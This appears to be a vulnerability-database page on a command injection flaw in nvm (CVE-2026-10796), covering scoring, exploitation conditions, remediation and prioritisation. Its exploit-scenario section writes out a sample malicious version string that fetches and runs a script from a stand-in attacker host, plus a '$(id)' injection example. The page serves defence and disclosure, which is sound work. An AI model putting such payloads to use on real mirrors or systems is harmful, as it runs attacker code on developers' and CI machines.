Skip to main content

nvm CVE-2026-10796

| EUVDEUVD-2026-34303 HIGH
OS Command Injection (CWE-78)
2026-06-04 openjs
7.5
CVSS 4.0 · Vendor: openjs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Control or MitM non-default mirror
  2. Delivery
    Serve index.tab with crafted version string
  3. Exploit
    User runs nvm install/ls-remote
  4. Execution
    Version interpolated into eval curl/awk sink
  5. Persist
    Shell or awk system() executes payload
  6. Impact
    Arbitrary commands run as nvm user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Victim must run nvm (e.g., nvm install, nvm ls-remote) configured to use a Node.js/io.js mirror other than the default https://nodejs.org - this means the NVM_NODEJS_ORG_MIRROR or NVM_IOJS_ORG_MIRROR environment variable is set to an attacker-controlled host, the attacker can supply mirror content to the user/CI on a non-default mirror, or the mirror is served over plaintext HTTP allowing a network MitM to inject a crafted index.tab. Limiting factors: the default TLS-protected nodejs.org mirror is explicitly NOT affected; user interaction (an nvm invocation that fetches the index) is required (UI:R); and the attacker must either control the mirror, its content, or the network path (AC:H). Execution occurs only with the privileges of the user running nvm, not root unless nvm was run as root.

Impact

The CVSS 3.1 vector AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H is consistent with the description: network-reachable mirror, no auth on the mirror side, but high attack complexity and required user interaction because the victim must invoke nvm install (or equivalent) against an attacker-influenced mirror - either a non-default mirror configured via NVM_NODEJS_ORG_MIRROR/NVM_IOJS_ORG_MIRROR, hostile mirror content, or a MitM against a plaintext mirror. No public exploit identified at time of analysis; not listed in CISA KEV; EPSS not provided. Real-world risk is moderate and targeted: developers and CI pipelines pinned to corporate or third-party mirrors, or operating without TLS, are the realistic victim population, while default installations using https://nodejs.org are not exposed. Vendor advisory and patch commits are confirmed; affected version ceiling (≤0.40.4) is confirmed but the fixed tagged release is pending.

Exploit ScenarioDerived

A developer or CI job is configured (via NVM_NODEJS_ORG_MIRROR or an HTTP-only proxy) to fetch Node.js versions from an attacker-controlled or MitM-able mirror; the mirror serves an index.tab containing a version entry such as v18.0.0$(curl attacker.example/x|sh). When the user runs nvm install or nvm ls-remote, nvm interpolates the malicious version into the URL passed to eval curl … (or into the awk checksum program), and the shell/awk executes the embedded payload with the user's privileges. Regression tests committed alongside the fix demonstrate the injection path; no weaponized public exploit is identified at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 04, 2026

Command injection in nvm (Node Version Manager) versions through 0.40.4 allows attackers controlling the configured Node.js/io.js mirror to execute arbitrary shell commands as the user running nvm. Mirror-supplied version strings flow unsanitized into an eval'd curl/wget invocation in nvm_download() and into an awk program in nvm_get_checksum(), enabling injection via constructs like $(id). No public exploit is identified at time of analysis, but the GitHub Security Advisory (GHSA-3c52-35h2-gfmm) and committed regression tests demonstrate the bug class, and CVSS 7.5 (AV:N/AC:H/PR:N/UI:R) reflects that the default TLS-protected nodejs.org mirror is unaffected.

RemediationAI

Upstream fix available (commits 6d870d182cd5333647ffa16c0d7dbcd817ec27a8, 90bb88748ba6c29c2cec73b18ed7057413aef308, and 70fb4ede6b9731d75d86451d48caa5faffbec21c on master); a released patched version is not independently confirmed at time of analysis, so users should track the next tagged release after 0.40.4 from https://github.com/nvm-sh/nvm/security/advisories/GHSA-3c52-35h2-gfmm or build from master. Until a tagged release is available, unset any custom NVM_NODEJS_ORG_MIRROR/NVM_IOJS_ORG_MIRROR configuration and rely on the default https://nodejs.org mirror - the trade-off is loss of internal-mirror caching and any air-gapped workflows. If a custom mirror is mandatory, enforce HTTPS to the mirror to remove the MitM vector and restrict the mirror to a trusted, integrity-checked source, accepting that a compromised mirror operator can still inject commands until the patch is applied. Do not run nvm install, nvm ls-remote, or related commands against untrusted mirror URLs.

Affected VersionsENISA

nvm 0 ≤0.40.4

Affected Packages

euvd nvm no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

nvm is a POSIX-shell installer/version-manager for Node.js distributed as nvm.sh. The vulnerability is CWE-78 (OS Command Injection) arising from two sinks that share the same untrusted input - version identifiers parsed from a mirror's index.tab. In nvm_download(), arguments were concatenated into a string and executed with eval curl … / eval wget $ARGS, so any shell metacharacter or $(…) in a download URL derived from the version was re-parsed by the shell. In nvm_get_checksum(), the version-derived slug was interpolated directly into an awk program, where awk's system() call could be reached by a crafted version. The affected CPE is cpe:2.3:a:nvm-sh:nvm:* up to 0.40.4.

Know when Nvm gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (openjs) PRIMARY 7.5 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (openjs) · only source for this CVE.

CVSS VectorVendor: openjs

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

nvm (Node Version Manager) through 0.40.4 executes arbitrary commands from version strings supplied by the configured Node.js/io.js mirror. Commands such as nvm install read the available versions from the mirror's index.tab and use the selected version, without sanitization, to build download URLs and shell/awk commands. Two sinks are affected by the same untrusted input: nvm_download() built a curl/wget command string and ran it with eval, so a version field containing command substitution (for example $(id)) was executed by the local shell; and nvm_get_checksum() interpolated the version-derived download slug into an awk program, so a crafted version could execute arbitrary commands via awk's system(). An attacker who controls the configured mirror, supplies mirror content to a user or CI on a non-default mirror, or machine-in-the-middles a non-TLS mirror can ∴ run arbitrary commands with the privileges of the user running nvm. The default mirror (https://nodejs.org over TLS) is not affected. Fixed on master (pending the next tagged release) by passing every argument as a literal argv element instead of using eval, by passing the value to awk as data via -v instead of interpolating it into the program, and by rejecting any version outside the Node.js/io.js version grammar before it is used.

Executive ViewAI

Why It Matters

nvm (Node Version Manager) through version 0.40.4 contains a remote code execution vulnerability in development and CI/CD environments that use non-default Node.js mirrors. Attackers controlling a configured mirror can execute arbitrary commands with the privileges of the nvm user, potentially compromising source code, build artifacts, and deployment infrastructure. Organizations must prioritize patching to mitigate supply chain and development environment risks.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 84% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy